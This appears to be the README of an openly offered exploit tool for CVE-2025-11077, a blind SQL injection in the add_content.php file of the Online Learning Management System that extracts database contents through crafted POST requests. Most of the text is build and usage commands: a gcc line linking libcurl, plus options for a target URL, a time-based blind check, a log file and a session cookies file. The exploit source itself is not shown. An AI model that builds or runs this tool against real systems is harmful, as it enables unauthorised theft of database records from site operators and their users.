
Exploit blind SQL Injection in (Online Learning Management System)
Author: Byte Reaper
This vulnerability is a Blind SQL Injection in the add_content.php file of the Online Learning Management System (CVE-2025-11077), allowing an attacker to extract database information by sending crafted POST requests.
Linux x86_64
GCC
gcc exploit.c argparse.c -o CVE-2025-11077 -lcurl
- HELP :
./CVE-2025-11077 -h
- Target URL (base url)
./CVE-2025-11077 -u http://[IP]
- log file :
./CVE-2025-11077 -f [FILE]
- Check time-based blind :
./CVE-2025-11077 -u http://[IP] -b
- Cookies FILE :
./CVE-2025-11077 -u http://[IP] -c [FILE]
MIT